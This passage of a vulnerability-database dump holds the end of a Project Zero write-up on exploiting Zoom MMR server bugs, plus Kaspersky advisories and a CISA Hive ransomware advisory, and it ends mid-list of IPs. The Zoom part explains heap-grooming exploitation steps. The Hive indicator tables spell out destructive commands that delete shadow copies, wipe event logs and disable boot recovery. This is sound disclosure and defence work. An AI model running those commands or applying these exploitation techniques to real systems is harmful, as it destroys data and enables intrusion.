sending this packet. I was not willing to test a vulnerability of this type on Zoom\u2019s public MMR servers, but it seems reasonably likely that the same code was also in Zoom\u2019s public servers.\n\nLooking further at deserialization, I noticed that all deserialized objects contain an optional field of type ssb::dyna_para_table_t, which is basically a properties table that allows a map of name strings to variant objects to be included in the deserialized object. The variants in the table are implemented by the structure ssb::variant_t, as follows.\n\nstruct variant{\n\nchar type;\n\nshort length;\n\nvar_data data;\n\n};\n\nunion var_data{\n\nchar i8;\n\nchar* i8_ptr;\n\nshort i16;\n\nshort* i16_ptr;\n\nint i32;\n\nint* i32_ptr;\n\nlong long i64;\n\nlong long i64*;\n\n};\n\nThe value of the type field corresponds to the width of the variant data (1 for 8-bit, 2 for 16-bit, 3 for 32-bit and 4 four 64-bit). The length field specifies whether the variant is an array and its length. If it has the value 0, the variant is not an array, and a numeric value is read from the data field based on its type. If the length field has any other value, the data field is cast to a pointer, an array of that size is read.\n\nMy immediate concern with this implementation was that it could be prone to type confusion. One possibility is that a numeric value could be confused with an array pointer, which would allow an attacker to create a variant with a pointer that they specify. However, both the client and MMR perform very aggressive type checks on variants they treat as arrays. Another possibility is that a pointer could be confused with a numeric value. This could allow an attacker to determine the address of a buffer they control if the value is ever returned to the attacker. I found a few locations in the MMR code where a pointer is converted to a numeric value in this way and logged, but nowhere that an attacker could obtain the incorrectly cast value. Finally, I looked at how array data is handled, and I found that there are several locations where byte array variants are converted to strings, however not all of them checked that the byte array has a null terminator. This meant that if these variants were converted to strings, the string could contain the contents of uninitialized memory.\n\nMost of the time, packets sent to the MMR by one user are immediately forwarded to other users without being deserialized by the server. For some bugs, this is a useful feature, for example, it is what allows CVE-2021-34423 discussed earlier to be triggered on a client. However, an information leak in variants needs to occur on the server to be useful to an attacker. When a client deserializes an incoming packet, it is for use on the device, so even if a deserialized string contains sensitive information, it is unlikely that this information will be transmitted off the device. Meanwhile, the MMR exists expressly to transmit information from one user to another, so if a string gets deserialized, there is a reasonable chance that it gets sent to another user, or alters server behavior in an observable way. So, I tried to find a way to get the server to deserialize a variant and convert it to a string. I eventually figured out that when a user logs into Zoom in a browser, the browser can\u2019t process serialized packets, so the MMR must convert them to strings so they can be accessed through web requests. Indeed, I found that if I removed the null terminator from the user_name variant, it would be converted to a string and sent to the browser as the user\u2019s display name.\n\nThe vulnerability was assigned [CVE-2021-34424](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2235&q=zoom%5C&can=1>) and fixed on November 24, 2021. I tested it on my own MMR as well as Zoom\u2019s public MMR, and it worked and returned pointer data in both cases.\n\n## Exploit Attempt\n\nI attempted to exploit my local MMR server with these vulnerabilities, and while I had success with portions of the exploit, I was not able to get it working. I started off by investigating the possibility of creating a client that could trigger each bug outside of the Zoom client, but client authentication appeared complex and I lacked symbols for this part of the code, so I didn\u2019t pursue this as I suspected it would be very time-consuming. Instead, I analyzed the exploitability of the bugs by triggering them from a Linux Zoom client hooked with Frida.\n\nI started off by investigating the impact of heap corruption on the MMR process. MMR servers run on CentOS 7, which uses a modern glibc heap, so exploiting heap unlinking did not seem promising. I looked into overwriting the vtable of a C++ object allocated on the heap instead.\n\nI wrote several Frida scripts that hooked malloc on the server, and used them to monitor how incoming traffic affects allocation. It turned out that there are not many ways for an attacker to control memory allocation on an MMR server that are useful for exploiting this vulnerability. There are several packet types that an attacker can send to the server that cause memory to be allocated on the heap and then freed when processing is finished, but not as many where the attacker can trigger both allocation and freeing. Moreover, the MMR server performs different types of processing in separate threads that use unique heap arenas, so many areas of the code where this type of allocation is likely to occur, such as connection management, allocate memory in a different heap arena than the thread where the bug occurs. The only such allocations I could find that were made in the same arena were related to meeting set-up: when a user joins a meeting, certain objects are allocated on the heap, which are then freed when they leave the meeting. Unfortunately, these allocations are difficult to automate as they require many unique users accounts in order for the allocation to be performed repeatedly, and allocation takes an observable amount of time (seconds).\n\nI eventually wrote Frida scripts that looked for free chunks of unusual sizes that bordered C++ objects with vtables during normal MMR operation. There were a few allocation sizes that met this criteria, and since CVE-2021-34423 allows for the size of the buffer that is overflowed to be specified by the attacker, I was able to corrupt the memory of the adjacent object. Unfortunately, heap verification was very robust, so in most cases, the MMR process would crash due to a heap verification error before a virtual call was made on the corrupted object. I eventually got around this by focusing on allocation sizes that are small enough to be stored in fastbins by the heap, as heap chunks that are stored in fastbins do not contain verifiable heap metadata. Chunks of size 58 turned out to be the best choice, and by triggering the bug with an allocation of that size, I was able to control the pointer of a virtual call about one in ten times I triggered the bug.\n\nThe next step was to figure out where to point the pointer I could control, and this turned out to be more challenging than I expected. The MMR process did not have ASLR enabled when I did this research (it was enabled in version 4.6.20211128.136, which was released on November 28, 2021), so I was hoping to find a series of locations in the binary that this call could be directed to that would eventually end in a call to execv with controllable parameters, as the MMR initialization code contains many calls to this function. However, there were a few features of the server that made this difficult. First, only the MMR binary was loaded at a fixed location. The heap and system libraries were not, so only the actual MMR code was available without bypassing ASLR. Second, if the MMR crashes, it has an exponential backoff which culminates in it respawning every hour on the hour. This limits how many exploit attempts an attacker has. It is realistic that an attacker might spend days or even weeks trying to exploit a server, but this still limits them to hundreds of attempts. This means that any exploit of an MMR server would need to be at least somewhat reliable, so certain techniques that require a lot of attempts, such as allocating a large buffer on the heap and trying to guess its location were not practical.\n\nI eventually decided that it would be helpful to allocate a buffer on the heap with controlled contents and determine its location. This would make the exploit fairly reliable in the case that the overflow successfully leads to a virtual call, as the buffer could be used as a fake vtable, and also contain strings that could be used as parameters to execv. I tried using CVE-2021-34424 to leak such an address, but wasn\u2019t able to get this working. \n\nThis bug allows the attacker to provide a string of any size, which then gets copied out of bounds up until a null character is encountered in memory, and then returned. It is possible for CVE-2021-34424 to return a heap pointer, as the MMR maps the heap that gets corrupted at a low address that does not usually contain null bytes, however, I could not find a way to force a specific heap pointer to be allocated next to the string buffer that gets copied out of bounds. C++ objects used by the MMR tend to be virtual objects, so the first 64 bits of most object allocations are a vtable which contains null bytes, ending the copy. Other allocated structures, especially larger ones, tend to contain non-pointer data. I was able to get this bug to return heap pointers by specifying a string that was less than 64 bits long, so the nearby allocations were sometimes the pointers themselves, but allocations of this size are so frequent it was not possible to ascertain what heap data they pointed to with any accuracy.\n\nOne last idea I had was to use another type confusion bug to leak a pointer to a controllable buffer. There is one such bug in the processing of deserialized ssb::kv_update_req objects. This object\u2019s ssb::dyna_para_table_t table contains a variant named nodeid which represents the specific Zoom client that the message refers to. If an attacker changes this variant to be of type array instead of a 32-bit integer, the address of the pointer to this array will be logged as a string. I tried to combine CVE-2021-34424 with this bug, hoping that it might be possible for the leaked data to be this log string that contains pointer information. Unfortunately, I wasn\u2019t able to get this to work because of timing: the log entry needs to be logged at almost exactly the same time as the bug is triggered so that the log data is still in memory, and I wasn't able to send packets fast enough. I suspect it might be possible for this to work with improved automation, as I was relying on clients hooked with Frida and browsers to interact with the Zoom server, but I decided not to pursue this as it would require tooling that would take substantial effort to develop.\n\n## Conclusion\n\nI performed a security analysis of Zoom and reported two vulnerabilities. One was a buffer overflow that affected both Zoom clients and MMR servers, and one was an info leak that is only useful to attackers on MMR servers. Both of these vulnerabilities were fixed on November 24, 2021. \n\nThe vulnerabilities in Zoom\u2019s MMR server are especially concerning, as this server processes meeting audio and video content, so a compromise could allow an attacker to monitor any Zoom meetings that do not have end-to-end encryption enabled. While I was not successful in exploiting these vulnerabilities, I was able to use them to perform many elements of exploitation, and I believe that an attacker would be able to exploit them with sufficient investment. The lack of ASLR in the Zoom MMR process greatly increased the risk that an attacker could compromise it, and it is positive that Zoom has recently enabled it. That said, if vulnerabilities similar to the ones that I reported still exist in the MMR server, it is likely that an attacker could bypass it, so it is also important that Zoom continue to improve the robustness of the MMR code. \n\nIt is also important to note that this research was possible because Zoom allows customers to set up their own servers, meanwhile no other video conferencing solution with proprietary servers that I have investigated allows this, so it is unclear how these results compare to other video conferencing platforms.\n\nOverall, while the client bugs that were discovered during this research were comparable to what Project Zero has found in other videoconferencing platforms, the server bugs were surprising, especially when the server lacked ASLR and supports modes of operation that are not end-to-end encrypted. \n\nThere are a few factors that commonly lead to security problems in videoconferencing applications that contributed to these bugs in Zoom. One is the huge amount of code included in Zoom. There were large portions of code that I couldn\u2019t determine the functionality of, and many of the classes that could be deserialized didn\u2019t appear to be commonly used. This both increases the difficulty of security research and increases the attack surface by making more code that could potentially contain vulnerabilities available to attackers. In addition, Zoom uses many proprietary formats and protocols which meant that understanding the attack surface of the platform and creating the tooling to manipulate specific interfaces was very time consuming. Using the features we tested also required paying roughly $1500 USD in licensing fees. These barriers to security research likely mean that Zoom is not investigated as often as it could be, potentially leading to simple bugs going undiscovered. \n\nStill, my largest concern in this assessment was the lack of ASLR in the Zoom MMR server. ASLR is arguably the most important mitigation in preventing exploitation of memory corruption, and most other mitigations rely on it on some level to be effective. There is no good reason for it to be disabled in the vast majority of software. There has recently been a push to reduce the susceptibility of software to memory corruption vulnerabilities by moving to memory-safe languages and implementing enhanced memory mitigations, but this relies on vendors using the security measures provided by the platforms they write software for. All software written for platforms that support ASLR should have it (and other basic memory mitigations) enabled.\n\nThe closed nature of Zoom also impacted this analysis greatly. Most video conferencing systems use open-source software, either WebRTC or PJSIP. While these platforms are not free of problems, it\u2019s easier for researchers, customers and vendors alike to verify their security properties and understand the risk they present because they are open. Closed-source software presents unique security challenges, and Zoom could do more to make their platform accessible to security researchers and others who wish to evaluate it. While the Zoom Security Team helped me access and configure server software, it is not clear that support is available to other researchers, and licensing the software was still expensive. Zoom, and other companies that produce closed-source security-sensitive software should consider how to make their software accessible to security researchers. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-18T00:00:00", "type": "googleprojectzero", "title": "\nZooming in on Zero-click Exploits\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34423", "CVE-2021-34424"], "modified": "2022-01-18T00:00:00", "id": "GOOGLEPROJECTZERO:8BB9390B85387F502BDFCDC3B8912B4E", "href": "https://googleprojectzero.blogspot.com/2022/01/zooming-in-on-zero-click-exploits.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kaspersky": [{"lastseen": "2023-05-23T16:29:16", "description": "### *Detect date*:\n11/24/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Zoom. Malicious users can exploit these vulnerabilities to obtain sensitive information, cause denial of service, execute arbitrary code.\n\n### *Affected products*:\nZoom for Windows earlier than 5.8.4\n\n### *Solution*:\nUpdate to the latest version \n[Download Zoom](<https://zoom.us/support/download>)\n\n### *Original advisories*:\n[Zoom Security Bulletin](<https://explore.zoom.us/en/trust/security/security-bulletin/>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Zoom MSI](<https://threats.kaspersky.com/en/product/Zoom-MSI/>)\n\n### *CVE-IDS*:\n[CVE-2021-34424](<https://vulners.com/cve/CVE-2021-34424>)5.0Critical \n[CVE-2021-34423](<https://vulners.com/cve/CVE-2021-34423>)7.5Critical", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-24T00:00:00", "type": "kaspersky", "title": "KLA12380 Multiple vulnerabilities in Zoom", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34423", "CVE-2021-34424"], "modified": "2021-12-16T00:00:00", "id": "KLA12380", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12380/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T15:00:52", "description": "### *Detect date*:\n05/11/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Exchange Server. Malicious users can exploit these vulnerabilities to execute arbitrary code, spoof user interface, bypass security restrictions.\n\n### *Affected products*:\nMicrosoft Exchange Server 2016 Cumulative Update 20 \nMicrosoft Exchange Server 2019 Cumulative Update 8 \nMicrosoft Exchange Server 2019 Cumulative Update 9 \nMicrosoft Exchange Server 2013 Cumulative Update 23 \nMicrosoft Exchange Server 2016 Cumulative Update 19\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-31198](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31198>) \n[CVE-2021-31209](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31209>) \n[CVE-2021-31207](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31207>) \n[CVE-2021-31195](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31195>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Exchange Server](<https://threats.kaspersky.com/en/product/Microsoft-Exchange-Server/>)\n\n### *CVE-IDS*:\n[CVE-2021-31198](<https://vulners.com/cve/CVE-2021-31198>)6.8High \n[CVE-2021-31209](<https://vulners.com/cve/CVE-2021-31209>)5.0Critical \n[CVE-2021-31207](<https://vulners.com/cve/CVE-2021-31207>)6.5High \n[CVE-2021-31195](<https://vulners.com/cve/CVE-2021-31195>)5.0Critical\n\n### *KB list*:\n[5003435](<http://support.microsoft.com/kb/5003435>)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-05-11T00:00:00", "type": "kaspersky", "title": "KLA12169 Multiple vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31195", "CVE-2021-31198", "CVE-2021-31207", "CVE-2021-31209"], "modified": "2021-05-12T00:00:00", "id": "KLA12169", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12169/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T14:59:05", "description": "### *Detect date*:\n07/13/2021\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Exchange Server. Malicious users can exploit these vulnerabilities to execute arbitrary code, gain privileges, obtain sensitive information.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nMicrosoft Exchange Server 2019 Cumulative Update 10 \nMicrosoft Exchange Server 2019 Cumulative Update 9 \nMicrosoft Exchange Server 2013 Cumulative Update 23 \nMicrosoft Exchange Server 2016 Cumulative Update 20 \nMicrosoft Exchange Server 2019 Cumulative Update 8 \nMicrosoft Exchange Server 2016 Cumulative Update 19 \nMicrosoft Exchange Server 2016 Cumulative Update 21\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-31196](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31196>) \n[CVE-2021-34470](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-34470>) \n[CVE-2021-31206](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31206>) \n[CVE-2021-34473](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-34473>) \n[CVE-2021-34523](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-34523>) \n[CVE-2021-33766](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-33766>) \n[CVE-2021-33768](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-33768>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Exchange Server](<https://threats.kaspersky.com/en/product/Microsoft-Exchange-Server/>)\n\n### *CVE-IDS*:\n[CVE-2021-31196](<https://vulners.com/cve/CVE-2021-31196>)6.5High \n[CVE-2021-34470](<https://vulners.com/cve/CVE-2021-34470>)5.2High \n[CVE-2021-31206](<https://vulners.com/cve/CVE-2021-31206>)7.5Critical \n[CVE-2021-34523](<https://vulners.com/cve/CVE-2021-34523>)7.5Critical \n[CVE-2021-33766](<https://vulners.com/cve/CVE-2021-33766>)5.0Critical \n[CVE-2021-33768](<https://vulners.com/cve/CVE-2021-33768>)5.2High\n\n### *KB list*:\n[5001779](<http://support.microsoft.com/kb/5001779>) \n[5004780](<http://support.microsoft.com/kb/5004780>) \n[5004778](<http://support.microsoft.com/kb/5004778>) \n[5004779](<http://support.microsoft.com/kb/5004779>) \n[5003611](<http://support.microsoft.com/kb/5003611>) \n[5003612](<http://support.microsoft.com/kb/5003612>)\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-13T00:00:00", "type": "kaspersky", "title": "KLA12224 Multiple vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31196", "CVE-2021-31206", "CVE-2021-33766", "CVE-2021-33768", "CVE-2021-34470", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-07-30T00:00:00", "id": "KLA12224", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12224/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ics": [{"lastseen": "2023-05-27T14:54:11", "description": "### Summary\n\nActions to Take Today to Mitigate Cyber Threats from Ransomware:\n\n\u2022 Prioritize remediating [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n\u2022 Enable and enforce multifactor authentication with strong passwords \n\u2022 Close unused ports and remove any application not deemed necessary for day-to-day operations.\n\n_Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit [stopransomware.gov](<https://www.cisa.gov/stopransomware>) to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources._\n\nThe Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known Hive IOCs and TTPs identified through FBI investigations as recently as November 2022.\n\nFBI, CISA, and HHS encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Victims of ransomware operations should report the incident to their local FBI field office or CISA.\n\nDownload the PDF version of this report: pdf, 852.9 kb.\n\nFor a downloadable copy of IOCs, see AA22-321A.stix (STIX, 43.6 kb).\n\n### Technical Details\n\n_Note: This advisory uses the MITRE ATT&CK\u00ae for Enterprise framework, version 12. See [MITRE ATT&CK for Enterprise](<https://attack.mitre.org/versions/v12/matrices/enterprise/>) for all referenced tactics and techniques._\n\nAs of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information. Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks. From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH).\n\nThe method of initial intrusion will depend on which affiliate targets the network. Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [[T1133](<https://attack.mitre.org/versions/v12/techniques/T1133/>)]. In some cases, Hive actors have bypassed multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>). This vulnerability enables a malicious cyber actor to log in without a prompt for the user\u2019s second authentication factor (FortiToken) when the actor changes the case of the username.\n\nHive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [[T1566.001](<https://attack.mitre.org/versions/v12/techniques/T1566/001/>)] and by exploiting the following vulnerabilities against Microsoft Exchange servers [[T1190](<https://attack.mitre.org/versions/v12/techniques/T1190/>)]:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability\n * [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>) \\- Microsoft Exchange Server Privilege Escalation Vulnerability\n\nAfter gaining access, Hive ransomware attempts to evade detention by executing processes to:\n\n * Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption [[T1562](<https://attack.mitre.org/versions/v12/techniques/T1562/001/>)].\n * Stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or via PowerShell [[T1059](<https://attack.mitre.org/versions/v12/techniques/T1059/>)] [[T1490](<https://attack.mitre.org/versions/v12/techniques/T1490/>)].\n * Delete Windows event logs, specifically the System, Security and Application logs [[T1070](<https://attack.mitre.org/versions/v12/techniques/T1070/>)].\n\nPrior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [[T1112](<https://attack.mitre.org/versions/v12/techniques/T1112/>)].\n\nHive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega.nz [[T1537](<https://attack.mitre.org/versions/v12/techniques/T1537/>)]. In addition to its capabilities against the Microsoft Windows operating system, Hive ransomware has known variants for Linux, VMware ESXi, and FreeBSD.\n\nDuring the encryption process, a file named *.key (previously *.key.*) is created in the root directory (C:\\ or /root/). Required for decryption, this key file only exists on the machine where it was created and cannot be reproduced. The ransom note, HOW_TO_DECRYPT.txt is dropped into each affected directory and states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered [[T1486](<https://attack.mitre.org/versions/v12/techniques/T1486/>)]. The ransom note contains a \u201csales department\u201d .onion link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files. However, some victims reported receiving phone calls or emails from Hive actors directly to discuss payment.\n\nThe ransom note also threatens victims that a public disclosure or leak site accessible on the TOR site, \u201cHiveLeaks\u201d, contains data exfiltrated from victim organizations who do not pay the ransom demand (see figure 1 below). Additionally, Hive actors have used anonymous file sharing sites to disclose exfiltrated data (see table 1 below).\n\n\n\n_Figure 1: Sample Hive Ransom Note_\n\n_Table 1: Anonymous File Sharing Sites Used to Disclose Data_\n\nhttps://anonfiles[.]com \n \n--- \n \nhttps://mega[.]nz \n \nhttps://send.exploit[.]in \n \nhttps://ufile[.]io \n \nhttps://www.sendspace[.]com \n \nhttps://privatlab[.]net \n \nhttps://privatlab[.]com \n \nOnce the victim organization contacts Hive actors on the live chat panel, Hive actors communicate the ransom amount and the payment deadline. Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars. Hive actors demand payment in Bitcoin.\n\nHive actors have been known to reinfect\u2014with either Hive ransomware or another ransomware variant\u2014the networks of victim organizations who have restored their network without making a ransom payment.\n\n#### **Indicators of Compromise**\n\nThreat actors have leveraged the following IOCs during Hive ransomware compromises. Note: Some of these indicators are legitimate applications that Hive threat actors used to aid in further malicious exploitation. FBI, CISA, and HHS recommend removing any application not deemed necessary for day-to-day operations. See tables 2\u20133 below for IOCs obtained from FBI threat response investigations as recently as November 2022.\n\n_Table 2: Known IOCs as of November 2022_\n\nKnown IOCs - Files \n \n--- \n \nHOW_TO_DECRYPT.txt typically in directories with encrypted files \n \n*.key typically in the root directory, i.e., C:\\ or /root \n \nhive.bat \n \nshadow.bat \n \nasq.r77vh0[.]pw - Server hosted malicious HTA file \n \nasq.d6shiiwz[.]pw - Server referenced in malicious regsvr32 execution \n \nasq.swhw71un[.]pw - Server hosted malicious HTA file \n \nasd.s7610rir[.]pw - Server hosted malicious HTA file \n \nWindows_x64_encrypt.dll \n \nWindows_x64_encrypt.exe \n \nWindows_x32_encrypt.dll \n \nWindows_x32_encrypt.exe \n \nLinux_encrypt \n \nEsxi_encrypt \n \nKnown IOCs \u2013 Events \n \nSystem, Security and Application Windows event logs wiped \n \nMicrosoft Windows Defender AntiSpyware Protection disabled \n \nMicrosoft Windows Defender AntiVirus Protection disabled \n \nVolume shadow copies deleted \n \nNormal boot process prevented \n \nKnown IOCs \u2013 Logged Processes \n \nwevtutil.exe cl system \n \nwevtutil.exe cl security \n \nwevtutil.exe cl application \n \nvssadmin.exe delete shadows /all /quiet \n \nwmic.exe SHADOWCOPY /nointeractive \n \nwmic.exe shadowcopy delete \n \nbcdedit.exe /set {default} bootstatuspolicy ignoreallfailures \n \nbcdedit.exe /set {default} recoveryenabled no \n \n_Table 3: Potential IOC IP Addresses as of November 2022_ Note: Some of these observed IP addresses are more than a year old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action like blocking.\n\nPotential IOC IP Addresses for Compromise or Exfil: \n \n--- \n \n84.32.188[.]57\n\n| \n\n84.32.188[.]238 \n \n93.115.26[.]251\n\n| \n\n185.8.105[.]67 \n \n181.231.81[.]239\n\n| \n\n185.8.105[.]112 \n \n186.111.136[.]37\n\n| \n\n192.53.123[.]202 \n \n158.69.36[.]149\n\n| \n\n46.166.161[.]123 \n \n108.62.118[.]190\n\n| \n\n46.166.161[.]93 \n \n185.247.71[.]106\n\n| \n\n46.166.162[.]125 \n \n5.61.37[.]207\n\n| \n\n46.166.162[.]96 \n \n185.8.105[.]103\n\n| \n\n46.166.169[.]34 \n \n5.199.162[.]220\n\n| \n\n93.115.25[.]139 \n \n5.199.162[.]229\n\n| \n\n93.115.27[.]148 \n \n89.147.109[.]208\n\n| \n\n83.97.20[.]81 \n \n5.61.37[.]207\n\n| \n\n5.199.162[.]220 \n \n5.199.162[.]229;\n\n| \n\n46.166.161[.]93 \n \n46.166.161[.]123;\n\n| \n\n46.166.162[.]96 \n \n46.166.162[.]125\n\n| \n\n46.166.169[.]34 \n \n83.97.20[.]81\n\n| \n\n84.32.188[.]238 \n \n84.32.188[.]57\n\n| \n\n89.147.109[.]208 \n \n93.115.25[.]139;\n\n| 